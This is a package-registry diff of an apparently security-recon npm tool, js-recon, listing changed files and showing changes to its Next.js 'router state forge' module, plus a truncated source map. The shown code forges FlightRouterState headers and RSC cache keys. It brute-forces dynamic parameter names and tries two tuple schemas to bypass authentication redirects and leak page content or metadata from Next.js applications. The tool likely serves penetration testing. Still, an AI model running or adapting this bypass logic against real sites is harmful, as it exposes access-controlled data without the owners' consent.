@js-recon/js-recon 2.0.1-alpha.1 → 2.0.1-alpha.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/dependabot.yml +50 -0
- package/.github/workflows/publish-js-recon.yml +25 -1
- package/CHANGELOG.md +21 -1
- package/build/cliProgram.js +27 -4
- package/build/cliProgram.js.map +1 -1
- package/build/exploit/utility/rawRequest.js +3 -1
- package/build/exploit/utility/rawRequest.js.map +1 -1
- package/build/globalConfig.js +1 -1
- package/build/lazyLoad/downloadQueue.js +4 -0
- package/build/lazyLoad/downloadQueue.js.map +1 -1
- package/build/lazyLoad/generic/generic_resolveScope.js +6 -1
- package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -1
- package/build/lazyLoad/index.js +46 -12
- package/build/lazyLoad/index.js.map +1 -1
- package/build/lazyLoad/methodFilter.js +7 -1
- package/build/lazyLoad/methodFilter.js.map +1 -1
- package/build/lazyLoad/next_js/NextJsCrawler.js +61 -1
- package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +4 -0
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_routerStateForge.js +105 -39
- package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +27 -3
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/react/react_sourcemapUrls.js +7 -28
- package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
- package/build/lazyLoad/sourcemap.js +120 -0
- package/build/lazyLoad/sourcemap.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +13 -4
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/techDetect/index.js +4 -0
- package/build/lazyLoad/techDetect/index.js.map +1 -1
- package/build/lazyLoad/vue/vue_discoverJsFiles.js +2 -2
- package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +10 -1
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +2 -2
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
- package/build/load/index.js +21 -32
- package/build/load/index.js.map +1 -1
- package/build/mcp/mcpServer.js +1 -1
- package/build/mcp/mcpServer.js.map +1 -1
- package/build/mcp/tools.js +1 -1
- package/build/mcp/tools.js.map +1 -1
- package/build/report/utility/dataTables/genDataTablesPage.js +2 -1
- package/build/report/utility/dataTables/genDataTablesPage.js.map +1 -1
- package/build/report/utility/genHtml.js +309 -18
- package/build/report/utility/genHtml.js.map +1 -1
- package/build/report/utility/markdownGen/addAnalyze.js +2 -1
- package/build/report/utility/markdownGen/addAnalyze.js.map +1 -1
- package/build/report/utility/severityColors.js +35 -0
- package/build/report/utility/severityColors.js.map +1 -0
- package/build/run/index.js +3 -3
- package/build/run/index.js.map +1 -1
- package/build/utility/cacheDb.js +78 -0
- package/build/utility/cacheDb.js.map +1 -0
- package/build/utility/customHeaders.js +30 -0
- package/build/utility/customHeaders.js.map +1 -0
- package/build/utility/globals.js +18 -1
- package/build/utility/globals.js.map +1 -1
- package/build/utility/makeReq.js +37 -86
- package/build/utility/makeReq.js.map +1 -1
- package/config.dist.yaml +3 -3
- package/package.json +2 -3
|
@@ -14,7 +14,11 @@ import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
|
14
14
|
/** Marker Next.js embeds in a Flight payload when a layout/page calls redirect(). */
|
|
15
15
|
const NEXT_REDIRECT_MARKER = "NEXT_REDIRECT";
|
|
16
16
|
/** Converts one ancestor segment to its FlightRouterState wire representation. */
|
|
17
|
-
const toSegmentRepr = (segment) => typeof segment === "string"
|
|
17
|
+
const toSegmentRepr = (segment, tupleLength) => typeof segment === "string"
|
|
18
|
+
? segment
|
|
19
|
+
: tupleLength === 4
|
|
20
|
+
? [segment.paramName, segment.value, "d", null]
|
|
21
|
+
: [segment.paramName, segment.value, "d"];
|
|
18
22
|
/** The literal URL path value of an ancestor segment, regardless of representation. */
|
|
19
23
|
export const ancestorSegmentValue = (segment) => typeof segment === "string" ? segment : segment.value;
|
|
20
24
|
/**
|
|
@@ -22,12 +26,13 @@ export const ancestorSegmentValue = (segment) => typeof segment === "string" ? s
|
|
|
22
26
|
* claiming every segment in `ancestorSegments` is already client-rendered, with the
|
|
23
27
|
* leaf segment either an ordinary `__PAGE__` node or (leafMode="metadata-only") a node
|
|
24
28
|
* flagged so Next.js only re-executes `generateMetadata()` for it. Mirrors the
|
|
25
|
-
* `flightRouterState[3]` check in `walk-tree-with-flight-router-state.tsx`.
|
|
29
|
+
* `flightRouterState[3]` check in `walk-tree-with-flight-router-state.tsx`. `tupleLength`
|
|
30
|
+
* only affects segments that are dynamic-ancestor claims (see `toSegmentRepr`).
|
|
26
31
|
*/
|
|
27
|
-
export const buildStateTreeHeader = (ancestorSegments, leafMode = "page") => {
|
|
32
|
+
export const buildStateTreeHeader = (ancestorSegments, leafMode = "page", tupleLength = 4) => {
|
|
28
33
|
let node = leafMode === "metadata-only" ? ["__PAGE__", {}, null, "metadata-only"] : ["__PAGE__", {}];
|
|
29
34
|
for (let i = ancestorSegments.length - 1; i >= 0; i--) {
|
|
30
|
-
node = [toSegmentRepr(ancestorSegments[i]), { children: node }];
|
|
35
|
+
node = [toSegmentRepr(ancestorSegments[i], tupleLength), { children: node }];
|
|
31
36
|
}
|
|
32
37
|
const tree = ["", { children: node }];
|
|
33
38
|
return encodeURIComponent(JSON.stringify(tree));
|
|
@@ -101,27 +106,35 @@ const COMMON_DYNAMIC_PARAM_NAMES = [
|
|
|
101
106
|
"key",
|
|
102
107
|
];
|
|
103
108
|
/**
|
|
104
|
-
* Ancestor-segment claims worth trying per candidate path
|
|
105
|
-
* segment but the leaf
|
|
106
|
-
*
|
|
107
|
-
*
|
|
108
|
-
* `COMMON_DYNAMIC_PARAM_NAMES`; `next_routerStateForge` also calls this
|
|
109
|
-
* harvested names as a fallback when the default list's guesses all fail.
|
|
109
|
+
* Ancestor-segment claims worth trying per candidate path, ordered from MOST to LEAST specific:
|
|
110
|
+
* every segment but the leaf, with its last segment tried as each of `paramNameCandidates`
|
|
111
|
+
* (the only shape that can actually match a real dynamic-route ancestor); then the same
|
|
112
|
+
* ancestor chain as plain static segments; then first-segment-only (the coarsest possible
|
|
113
|
+
* claim). Defaults to `COMMON_DYNAMIC_PARAM_NAMES`; `next_routerStateForge` also calls this
|
|
114
|
+
* with RSC-body-harvested names as a fallback when the default list's guesses all fail.
|
|
115
|
+
*
|
|
116
|
+
* Order matters: `tryAttempts` (in `next_routerStateForge`) returns on the first success it
|
|
117
|
+
* sees, so a weaker/coarser claim earlier in this list would prevent a stronger, more specific
|
|
118
|
+
* match later in the same leaf-mode pass from ever being tried — see internal-docs#172, where a
|
|
119
|
+
* bare single-segment claim (previously tried first) satisfied `metadata-only` leaf mode's
|
|
120
|
+
* success check without leaking real page content, masking a dynamic-ancestor match that would
|
|
121
|
+
* have.
|
|
110
122
|
*/
|
|
111
123
|
export const buildAncestorAttempts = (pathSegments, paramNameCandidates = COMMON_DYNAMIC_PARAM_NAMES) => {
|
|
112
124
|
if (pathSegments.length === 0)
|
|
113
125
|
return [];
|
|
114
|
-
const
|
|
126
|
+
const firstSegmentOnly = [pathSegments[0]];
|
|
115
127
|
const allButLeaf = pathSegments.slice(0, -1);
|
|
116
|
-
if (allButLeaf.length
|
|
117
|
-
|
|
118
|
-
const withoutLastAncestor = allButLeaf.slice(0, -1);
|
|
119
|
-
const lastAncestorValue = allButLeaf[allButLeaf.length - 1];
|
|
120
|
-
for (const paramName of paramNameCandidates) {
|
|
121
|
-
attempts.push([...withoutLastAncestor, { paramName, value: lastAncestorValue }]);
|
|
122
|
-
}
|
|
128
|
+
if (allButLeaf.length === 0 || allButLeaf.join("/") === pathSegments[0]) {
|
|
129
|
+
return [firstSegmentOnly];
|
|
123
130
|
}
|
|
124
|
-
|
|
131
|
+
const withoutLastAncestor = allButLeaf.slice(0, -1);
|
|
132
|
+
const lastAncestorValue = allButLeaf[allButLeaf.length - 1];
|
|
133
|
+
const dynamicGuessAttempts = paramNameCandidates.map((paramName) => [
|
|
134
|
+
...withoutLastAncestor,
|
|
135
|
+
{ paramName, value: lastAncestorValue },
|
|
136
|
+
]);
|
|
137
|
+
return [...dynamicGuessAttempts, allButLeaf, firstSegmentOnly];
|
|
125
138
|
};
|
|
126
139
|
/** True when a Flight/RSC payload records a server-side redirect (the auth check actually ran). */
|
|
127
140
|
export const containsNextRedirectMarker = (body) => body.includes(NEXT_REDIRECT_MARKER);
|
|
@@ -195,10 +208,12 @@ const resolveChunkUrl = (chunkPath, origin) => {
|
|
|
195
208
|
const REQUEST_TIMEOUT_MS = 15000;
|
|
196
209
|
/** Renders an ancestor-segment list back to its literal URL path, for the `Next-Url` header. */
|
|
197
210
|
const ancestorsToPath = (ancestors) => ancestors.map(ancestorSegmentValue).join("/");
|
|
211
|
+
/** True when at least one ancestor segment is a dynamic-route claim (see `AncestorSegment`). */
|
|
212
|
+
const hasDynamicSegment = (ancestors) => ancestors.some((s) => typeof s !== "string");
|
|
198
213
|
/** Sends one forged-ancestor RSC request and reports whether it looks like a successful bypass. */
|
|
199
|
-
const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
|
|
214
|
+
const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout, tupleLength) => __awaiter(void 0, void 0, void 0, function* () {
|
|
200
215
|
var _a;
|
|
201
|
-
const stateTree = buildStateTreeHeader(ancestors, leafMode);
|
|
216
|
+
const stateTree = buildStateTreeHeader(ancestors, leafMode, tupleLength);
|
|
202
217
|
const nextUrl = "/" + ancestorsToPath(ancestors);
|
|
203
218
|
const rscKey = keyMode === "legacy" ? computeLegacyRscKey(stateTree, nextUrl) : computeStrongRscKey(stateTree, nextUrl);
|
|
204
219
|
const forgedUrl = new URL(candidateUrl);
|
|
@@ -221,13 +236,34 @@ const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout) => __
|
|
|
221
236
|
* Tries the cheap legacy key first (no SHA-256 needed); only computes and retries with the
|
|
222
237
|
* strong key if the legacy attempt didn't succeed. Reports which key mode actually worked.
|
|
223
238
|
*/
|
|
224
|
-
const attemptForgeWithKeyFallback = (candidateUrl, ancestors, leafMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
|
|
225
|
-
const legacy = yield attemptForge(candidateUrl, ancestors, leafMode, "legacy", timeout);
|
|
239
|
+
const attemptForgeWithKeyFallback = (candidateUrl, ancestors, leafMode, timeout, tupleLength) => __awaiter(void 0, void 0, void 0, function* () {
|
|
240
|
+
const legacy = yield attemptForge(candidateUrl, ancestors, leafMode, "legacy", timeout, tupleLength);
|
|
226
241
|
if (legacy.success)
|
|
227
242
|
return Object.assign(Object.assign({}, legacy), { keyMode: "legacy" });
|
|
228
|
-
const strong = yield attemptForge(candidateUrl, ancestors, leafMode, "strong", timeout);
|
|
243
|
+
const strong = yield attemptForge(candidateUrl, ancestors, leafMode, "strong", timeout, tupleLength);
|
|
229
244
|
return Object.assign(Object.assign({}, strong), { keyMode: "strong" });
|
|
230
245
|
});
|
|
246
|
+
/** Both dynamic-segment tuple lengths real Next.js servers can require — see `DynamicTupleLength`. */
|
|
247
|
+
const DYNAMIC_TUPLE_LENGTHS = [4, 3];
|
|
248
|
+
/**
|
|
249
|
+
* Wraps `attemptForgeWithKeyFallback` with a schema-shape fallback: an ancestor list with no
|
|
250
|
+
* dynamic segment is tried once (tuple length is irrelevant — no dynamic segment ever reaches
|
|
251
|
+
* `toSegmentRepr`'s tuple branch), but a list containing a dynamic-ancestor claim is retried
|
|
252
|
+
* under each of `DYNAMIC_TUPLE_LENGTHS` until one is accepted, since a black-box crawl can't
|
|
253
|
+
* know which schema shape the target's Next.js build expects (see `DynamicTupleLength`).
|
|
254
|
+
*/
|
|
255
|
+
const attemptForgeWithSchemaFallback = (candidateUrl, ancestors, leafMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
|
|
256
|
+
if (!hasDynamicSegment(ancestors)) {
|
|
257
|
+
return attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout, 4);
|
|
258
|
+
}
|
|
259
|
+
let last = { success: false, body: "", keyMode: "legacy" };
|
|
260
|
+
for (const tupleLength of DYNAMIC_TUPLE_LENGTHS) {
|
|
261
|
+
last = yield attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout, tupleLength);
|
|
262
|
+
if (last.success)
|
|
263
|
+
return last;
|
|
264
|
+
}
|
|
265
|
+
return last;
|
|
266
|
+
});
|
|
231
267
|
const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
|
|
232
268
|
/**
|
|
233
269
|
* For each candidate page URL that redirects an unauthenticated request, retries as an
|
|
@@ -239,7 +275,16 @@ const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
|
|
|
239
275
|
* Two leaf modes are tried per candidate: an ordinary `page` claim (full body disclosure)
|
|
240
276
|
* first, and — only if every `page` attempt fails — a `metadata-only` claim, which can
|
|
241
277
|
* still leak dynamic `generateMetadata()` output even where a full-body claim doesn't
|
|
242
|
-
* cleanly apply (e.g. a tenant-scoped layout).
|
|
278
|
+
* cleanly apply (e.g. a tenant-scoped layout). Within each leaf mode, `tryAttempts` returns
|
|
279
|
+
* on the first success it finds among `buildAncestorAttempts`' ordered list, so that list is
|
|
280
|
+
* ordered most-to-least specific (dynamic-ancestor guesses, then the static full-chain claim,
|
|
281
|
+
* then the coarse first-segment-only claim) — a weak/coarse match must never be allowed to
|
|
282
|
+
* short-circuit past a stronger, more specific one in the same pass (internal-docs#172).
|
|
283
|
+
*
|
|
284
|
+
* Every dynamic-ancestor guess is tried against both `DYNAMIC_TUPLE_LENGTHS` schema shapes
|
|
285
|
+
* (see `DynamicTupleLength`), since a black-box crawl can't know which Next.js release the
|
|
286
|
+
* target runs and the two shapes are mutually exclusive (Next.js's schema validation rejects
|
|
287
|
+
* both a too-short AND a too-long tuple).
|
|
243
288
|
*
|
|
244
289
|
* If every `COMMON_DYNAMIC_PARAM_NAMES` guess fails for both leaf modes, a bounded fallback
|
|
245
290
|
* kicks in (internal#158): every response body already returned by those failed attempts
|
|
@@ -247,7 +292,14 @@ const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
|
|
|
247
292
|
* `extractParamNameCandidatesFromFlightBody` for the app's real param name. If that turns up
|
|
248
293
|
* any name not already in the fixed list, one bonus round of dynamic-guess attempts is tried
|
|
249
294
|
* with those harvested names (capped at `rscParamBruteforceLimit`; `0` disables this
|
|
250
|
-
* fallback entirely) — for each leaf mode,
|
|
295
|
+
* fallback entirely) — for each leaf mode, whenever that leaf mode's fixed-list pass didn't
|
|
296
|
+
* already produce a dynamic-ancestor match (see `tryAttempts`' `matchedDynamic` flag). A
|
|
297
|
+
* *weak* fixed-list success (a static/coarse ancestor claim, not a dynamic one) still lets
|
|
298
|
+
* the harvest-bonus round run — otherwise a real param name outside the fixed wordlist could
|
|
299
|
+
* never be tried at all, because the coarse claim's own success would permanently mask it
|
|
300
|
+
* (internal-docs#172, confirmed live: the coarse first-segment claim satisfies
|
|
301
|
+
* `metadata-only`'s success check while the real dynamic-ancestor claim, only reachable via
|
|
302
|
+
* harvesting, reveals the actually-scoped content).
|
|
251
303
|
*/
|
|
252
304
|
const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __awaiter(void 0, [candidateUrls_1, threads_1, ...args_1], void 0, function* (candidateUrls, threads, timeout = REQUEST_TIMEOUT_MS, rscParamBruteforceLimit = DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT) {
|
|
253
305
|
const bypassedUrls = [];
|
|
@@ -285,11 +337,16 @@ const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __await
|
|
|
285
337
|
const harvestedNames = new Set();
|
|
286
338
|
const ancestorAttempts = buildAncestorAttempts(segments);
|
|
287
339
|
/** Tries every attempt in `attempts` under `leafMode`, harvesting param-name
|
|
288
|
-
* candidates from each body along the way;
|
|
289
|
-
*
|
|
340
|
+
* candidates from each body along the way; records the hit and returns on the first
|
|
341
|
+
* success. `matchedDynamic` reports whether that success came from a dynamic-ancestor
|
|
342
|
+
* claim (the strongest possible match) as opposed to a static/coarse one — callers use
|
|
343
|
+
* it to decide whether a weak success should still be followed by the harvested-name
|
|
344
|
+
* bonus round (see internal-docs#172: a coarse match succeeding must not, by itself,
|
|
345
|
+
* prevent a stronger dynamic-ancestor match — recovered only via harvesting when the
|
|
346
|
+
* real param name isn't in the fixed wordlist — from being tried in the same pass). */
|
|
290
347
|
const tryAttempts = (attempts, leafMode) => __awaiter(void 0, void 0, void 0, function* () {
|
|
291
348
|
for (const ancestors of attempts) {
|
|
292
|
-
const result = yield
|
|
349
|
+
const result = yield attemptForgeWithSchemaFallback(candidateUrl, ancestors, leafMode, timeout);
|
|
293
350
|
if (lastAncestorValue && result.body) {
|
|
294
351
|
for (const name of extractParamNameCandidatesFromFlightBody(result.body, lastAncestorValue)) {
|
|
295
352
|
harvestedNames.add(name);
|
|
@@ -305,30 +362,39 @@ const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __await
|
|
|
305
362
|
if (result.keyMode === "legacy")
|
|
306
363
|
legacyKeyAcceptedUrls.push(candidateUrl);
|
|
307
364
|
recordChunks(result.body);
|
|
308
|
-
return true;
|
|
365
|
+
return { success: true, matchedDynamic: hasDynamicSegment(ancestors) };
|
|
309
366
|
}
|
|
310
367
|
}
|
|
311
|
-
return false;
|
|
368
|
+
return { success: false, matchedDynamic: false };
|
|
312
369
|
});
|
|
313
370
|
/** Bonus round of dynamic-guess-only attempts built from names harvested so far but
|
|
314
371
|
* not already covered by the fixed wordlist; `[]` (no-op) if nothing new was found
|
|
315
|
-
* or the fallback is disabled.
|
|
372
|
+
* or the fallback is disabled. `buildAncestorAttempts` orders dynamic guesses first,
|
|
373
|
+
* followed by the two static (allButLeaf, first-segment-only) attempts already tried
|
|
374
|
+
* in the fixed-list pass — drop those two trailing entries here. */
|
|
316
375
|
const harvestBonusAttempts = () => {
|
|
317
376
|
if (rscParamBruteforceLimit <= 0)
|
|
318
377
|
return [];
|
|
319
378
|
const newNames = [...harvestedNames].filter((n) => !COMMON_DYNAMIC_PARAM_NAMES.includes(n));
|
|
320
379
|
if (newNames.length === 0)
|
|
321
380
|
return [];
|
|
322
|
-
return buildAncestorAttempts(segments, newNames.slice(0, rscParamBruteforceLimit)).slice(2);
|
|
381
|
+
return buildAncestorAttempts(segments, newNames.slice(0, rscParamBruteforceLimit)).slice(0, -2);
|
|
323
382
|
};
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
383
|
+
// A weak/coarse success (no dynamic-ancestor segment in the winning claim) does not
|
|
384
|
+
// skip the harvested-name bonus round — only a success that already matched a dynamic
|
|
385
|
+
// ancestor is the strongest result this pass can produce (internal-docs#172).
|
|
386
|
+
let pageResult = yield tryAttempts(ancestorAttempts, "page");
|
|
387
|
+
if (!pageResult.success || !pageResult.matchedDynamic) {
|
|
388
|
+
const bonusResult = yield tryAttempts(harvestBonusAttempts(), "page");
|
|
389
|
+
if (bonusResult.success)
|
|
390
|
+
pageResult = bonusResult;
|
|
391
|
+
}
|
|
392
|
+
if (pageResult.success)
|
|
328
393
|
return;
|
|
329
|
-
const
|
|
330
|
-
if (!
|
|
394
|
+
const metadataResult = yield tryAttempts(ancestorAttempts, "metadata-only");
|
|
395
|
+
if (!metadataResult.success || !metadataResult.matchedDynamic) {
|
|
331
396
|
yield tryAttempts(harvestBonusAttempts(), "metadata-only");
|
|
397
|
+
}
|
|
332
398
|
}));
|
|
333
399
|
return {
|
|
334
400
|
bypassedUrls: [...new Set(bypassedUrls)],
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_routerStateForge.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_routerStateForge.ts"],"names":[],"mappings":"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